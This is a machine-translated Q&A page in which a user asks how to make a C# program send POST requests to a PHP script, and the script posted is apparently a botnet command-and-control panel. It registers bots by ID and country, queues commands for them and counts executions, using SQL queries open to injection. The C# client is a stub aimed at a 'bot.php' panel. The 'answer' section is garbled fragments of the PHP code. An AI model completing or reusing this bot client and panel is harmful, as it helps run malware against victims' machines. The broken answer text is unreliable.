C#如何向PHP文件发送POST请求 [英] C# how to send POST request to the PHP file

查看:109
本文介绍了C#如何向PHP文件发送POST请求的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

server.php

server.php

<pre><?php
include("./inc/config.php");
include("./inc/funcs.php");
include("./geoip.inc");

function extractstr($string)
{
    return substr($string, 1, strlen($string) - 2);
}

$handle = geoip_open("GeoIP.dat", GEOIP_STANDARD);
if (isset($_POST['mode']))
{
    if ($_POST['mode'] == 1) {
        $sql = "SELECT `commands` FROM `lst_bots`` WHERE `UID` = '".dRead("UID")."';";
        $res = mysql_query($sql);
        $strCommands = mysql_result($res,0);
        if ($strCommands <> "")
        {
            $arrCommands = explode("#", $strCommands);
            if (count($arrCommands) > 0)
            {
                for($p=0;$p<(count($arrCommands) -1);$p++)
                {
                    if ($arrCommands[$p] <> "")
                    {
                        $arrCommands[$p] = extractstr($arrCommands[$p]);
                        $sql = "SELECT * FROM `lst_commands` WHERE `ID` = '".$arrCommands[$p]."';";
                        $res = mysql_query($sql);
                        if (mysql_num_rows($res) > 0) 
                        {
                            while ($adr = mysql_fetch_array($res))
                            {
                                $strParam = mysql_result($res,0);
                                if(($adr['done'] < $adr['max']) && ($addr['max'] != "0"))
                                {
                                    echo $adr['ID']."|".$adr['command'].$adr['parameters']."\n";
                                }
                            }
                        }
                        else
                        {
                            $strCommands = str_replace("[".$arrCommands[$p]."]#","",$strCommands);
                            $sql = "UPDATE `lst_bots` SET `commands` = '".$strCommands."' WHERE `UID` = '".dRead("UID")."';";
                            mysql_query($sql);
                        }
                    }
                } 
            } 
        }
    } 
    elseif ($_POST['mode'] == 2) 
    {
        $sql = "SELECT `ID` FROM `lst_bots` WHERE `UID` = '".dRead("UID")."';";
        $res = mysql_query($sql);
        if (mysql_num_rows($res) < 1) {
            $strCountry = geoip_country_name_by_addr($handle, $_SERVER['REMOTE_ADDR']);
            $strCountryCode = geoip_country_code_by_addr($handle, $_SERVER['REMOTE_ADDR']);
            if ($strCountry  == "")
            {
                $strCountry  = "Unknown";
            }
            if ($strCountryCode  == "")
            {
                $strCountryCode  = "fam";
            }
            else
            {
                $strCountryCode = strtolower($strCountryCode);
            }
            $sql = "INSERT INTO `lst_bots` (`ID`, `UID`, `country`, `commands`,`version`,`lasttime`) VALUES (NULL, '".dRead("UID")."', '".$strCountry."','', '".dRead("version")."','".time()."');";
            mysql_query($sql);
            $sql = "SELECT `ID` FROM `lst_countries` WHERE `countryname` = '".$strCountry."';";
            $res = mysql_query($sql);
            if (mysql_num_rows($res) > 0) {
                $sql = "UPDATE `lst_countries` SET `totalbots` = `totalbots` + 1 WHERE `countryname` = '".$strCountry."';";
                $res = mysql_query($sql);
            }
            else
            { 	 	 
                $sql = "INSERT INTO `lst_countries` (`ID`, `countryname`, `countrycode`, `totalbots`) VALUES (NULL, '".$strCountry."', '".$strCountryCode."', '1');";
                mysql_query($sql);
            } 
        }
        else
        {
            $sql = "UPDATE `lst_bots` SET `lasttime` = '".time()."' WHERE `UID` = '".dRead("UID")."';";
            $res = mysql_query($sql);
        }
    }
    elseif ($_POST['mode'] == 3) 
    {
        if (isset($_POST['cmdid']))
        {
            $strFullCmdList = "";
            $sql = "SELECT `commands` FROM `lst_bots` WHERE `UID` = '".dRead("UID")."';";
            $res = mysql_query($sql);
            if (mysql_num_rows($res) > 0) 
            {
                $strCommand = mysql_result($res,0);
                if ($strCommand <> "")
                {
                    $strCommand = str_replace("[".dRead("cmdid")."]#","",$strCommand);
                    $sql = "UPDATE `lst_bots` SET `commands` = '".$strCommand."' WHERE `UID` = '".dRead("UID")."';";
                    mysql_query($sql);
                    echo $strCommand;
                }
            }
            //Increase Execution
            $sql = "UPDATE `lst_commands` SET `done` = `done` + 1 WHERE `ID` = '".dRead("cmdid")."';";
            $res = mysql_query($sql);
        }
    }
}		
geoip_close($handle);
die("");
?>





我有什么试过:



我试过这个C#应用程序代码,但这对我不起作用。





What I have tried:

I have tried this C# application code but this dont work for me.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Web;
using System.Collections.Specialized;
using System.IO;
using System.Diagnostics;
using System.Threading;

namespace umbra
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

           

            using (var client = new WebClient())
            {
                var values = new NameValueCollection();
                values["mode1"] = "";
                values["mode2"] = "";
                values["mode3"] = "";
                values["cmdid"] = "";
                var response = client.UploadValues("http://localhost/panel/my/1/umbrella/panel/bot.php", values);

                var responseString = Encoding.Default.GetString(response);
            }

        }
        }
    }

推荐答案

string)
{
return substr(
string) { return substr(


string,1,strlen(
string, 1, strlen(


string) - 2);
}

string) - 2); }


这篇关于C#如何向PHP文件发送POST请求的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆